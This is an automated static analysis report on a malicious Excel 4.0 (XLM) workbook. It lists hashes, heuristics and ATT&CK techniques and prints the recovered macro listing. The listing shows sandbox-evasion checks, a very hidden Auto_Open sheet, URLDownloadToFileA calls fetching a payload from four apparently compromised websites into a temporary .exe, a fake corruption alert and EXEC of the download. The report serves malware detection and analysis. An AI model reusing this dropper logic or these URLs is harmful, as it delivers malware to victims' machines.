Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cfd925e6a03fdace…

MALICIOUS

Office (OLE)

230.5 KB Created: 2020-02-27 10:23:09 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 54bc5ebd55d13742d988193553495b60 SHA-1: 183554083af24405e6e6835b77f3729f5c4dbc9c SHA-256: cfd925e6a03fdace9a219a1809312e2bb66827c6b562d005407ae6c5f7a9fbd3
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains Excel 4.0 macros that leverage the URLDownloadToFileA API to download a second-stage payload from one of the provided URLs. The macro attempts to construct a path in the user's temporary directory and then execute the downloaded file. The presence of Auto_Open and dangerous formula APIs indicates malicious intent.

Heuristics 5

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://cnbjobs.com/fa-content/uploads/2020/03/guide/9 In document text (OLE body)
    • http://devweb2019.fr/wp-content/uploads/2020/03/guide/9In document text (OLE body)
    • http://auto-mento.hu/wp-content/uploads/guide/9In document text (OLE body)
    • http://minokala.ir/wp-content/uploads/2020/03/guide/9In document text (OLE body)
    • http://cnbjobs.com/fa-content/uploads/2020/03/guide/In document text (OLE body)
    • http://devweb2019.fr/wp-content/uploads/2020/03/guide/In document text (OLE body)
    • http://auto-mento.hu/wp-content/uploads/guide/In document text (OLE body)
    • http://minokala.ir/wp-content/uploads/2020/03/guide/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2794 bytes
SHA-256: 178cc47b4fc5152150aadbe221ed47dd1c7ba9e875768faeb1e6a83dcfa62dbf
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  u85OvrrAb
' 0018     31 LABEL : Cell Value, String Constant - asdfafwef len=7 ptgRef3d  u85OvrrAb!F23 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  u85OvrrAb!B1 
' 0018     28 LABEL : Cell Value, String Constant - rewtrt len=7 ptgRef3d  u85OvrrAb!F25 
' 0018     29 LABEL : Cell Value, String Constant - rwth54h len=7 ptgRef3d  u85OvrrAb!O17 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  u85OvrrAb,B1,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))",""
'  u85OvrrAb,B2,GET.WORKSPACE(13),""
'  u85OvrrAb,B3,GET.WORKSPACE(14),""
'  u85OvrrAb,B4,"IF(B2<770,CLOSE(FALSE),)",""
'  u85OvrrAb,B5,"IF(B3<381,CLOSE(FALSE),)",""
'  u85OvrrAb,B6,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))",""
'  u85OvrrAb,B7,GET.WORKSPACE(26),""
'  u85OvrrAb,B8,"['CHAR("C:\\Users\\"&B7&"\\AppData\\Local\\Temp\\"(97,122))&CHAR(*STACKERROR* not enough operands for operator: &(97,122))(10,9999)', '*STACKERROR* not enough operands for operator: &&".exe"']",""
'  u85OvrrAb,B9,"['"urlmon"', '"URLDownloadToFileA"', '"JJCCJJ"', '0&"http://cnbjobs.com/fa-content/uploads/2020/03/guide/"(100000.00000000000000000000,999999.00000000000000000000)&".png"', 'B8', '0', '0', '*STACKERROR* not enough arguments for function: CALL']",""
'  u85OvrrAb,B10,"['CALL(B9<0,"urlmon","URLDownloadToFileA","JJCCJJ",0&"http://devweb2019.fr/wp-content/uploads/2020/03/guide/"(100000.00000000000000000000,999999.00000000000000000000)&".png",B8,0,0)', 'GOTO(B14)', '*STACKERROR* not enough arguments for function: IF']",""
'  u85OvrrAb,B11,"['CALL(B10<0,"urlmon","URLDownloadToFileA","JJCCJJ",0&"http://auto-mento.hu/wp-content/uploads/guide/"(100000.00000000000000000000,999999.00000000000000000000)&".png",B8,0,0)', 'GOTO(B14)', '*STACKERROR* not enough arguments for function: IF']",""
'  u85OvrrAb,B12,"['CALL(B11<0,"urlmon","URLDownloadToFileA","JJCCJJ",0&"http://minokala.ir/wp-content/uploads/2020/03/guide/"(100000.00000000000000000000,999999.00000000000000000000)&".png",B8,0,0)', 'GOTO(B14)', '*STACKERROR* not enough arguments for function: IF']",""
'  u85OvrrAb,B13,"IF(B12<0,CLOSE(FALSE),)",""
'  u85OvrrAb,B14,"ALERT("The workbook can't be opened or repaired by Microsoft Excel because it is corrupt.",2)",""
'  u85OvrrAb,D14,"WORKBOOK.HIDE("u85OvrrAbd",TRUE)",""
'  u85OvrrAb,B15,EXEC(B8),""
'  u85OvrrAb,B16,CLOSE(FALSE),""
'  u85OvrrAb,B17,RETURN(),""